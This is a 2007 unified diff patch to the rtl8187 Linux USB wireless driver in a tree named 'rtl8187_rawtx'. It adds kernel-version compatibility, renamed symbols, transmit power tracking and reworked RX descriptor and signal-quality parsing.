(ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1628,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1655,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1682,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1723,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1770,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1830,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1878,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1887,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1970,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2005,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2034,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2124,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2190,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2213,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2227,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2271,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2410,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2428,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2448,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2459,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2472,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2582,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2601,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2623,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2671,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2688,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2705,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2718,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2733,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-06-21 23:44:38.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer 